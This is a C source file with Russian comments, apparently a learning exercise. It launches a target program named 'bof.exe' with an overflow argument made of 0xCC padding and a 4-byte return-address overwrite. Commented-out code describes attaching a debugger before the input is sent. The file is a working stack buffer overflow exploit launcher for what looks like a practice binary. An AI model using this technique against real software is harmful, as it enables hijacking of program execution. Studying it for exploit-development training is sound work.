68 lines
2.4 KiB
C
68 lines
2.4 KiB
C
#include <windows.h>
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
|
|
char payload[] = {
|
|
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
"\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC"
|
|
"\xF8\x0E\x7E\x77"
|
|
};
|
|
|
|
char commandLine[] = "bof.exe ";
|
|
|
|
size_t neededSize = strlen(commandLine) + strlen(payload) + 1;
|
|
|
|
char* fin = (char*)malloc(neededSize);
|
|
|
|
snprintf(fin, neededSize, "%s%s", commandLine, payload);
|
|
|
|
STARTUPINFOA si;
|
|
PROCESS_INFORMATION pi;
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
BOOL success = CreateProcessA(
|
|
NULL, // Имя модуля (используем командную строку)
|
|
fin, // Командная строка (включая аргументы)
|
|
NULL, // Атрибуты безопасности процесса
|
|
NULL, // Атрибуты безопасности потока
|
|
FALSE, // Наследование дескрипторов
|
|
0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет
|
|
NULL, // Окружение
|
|
NULL, // Текущий каталог
|
|
&si, // Указатель на STARTUPINFO
|
|
&pi // Указатель на PROCESS_INFORMATION
|
|
);
|
|
|
|
/* if (!success) {
|
|
printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId);
|
|
printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId);
|
|
|
|
|
|
printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n");
|
|
getchar();
|
|
|
|
// Оживляем главный поток процесса
|
|
printf("[*] Возобновление потока...\n");
|
|
ResumeThread(pi.hThread);
|
|
*/
|
|
// Закрываем дескрипторы (они больше не нужны нашему лоадеру)
|
|
|
|
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
|
|
free(fin);
|
|
return 0;
|
|
}
|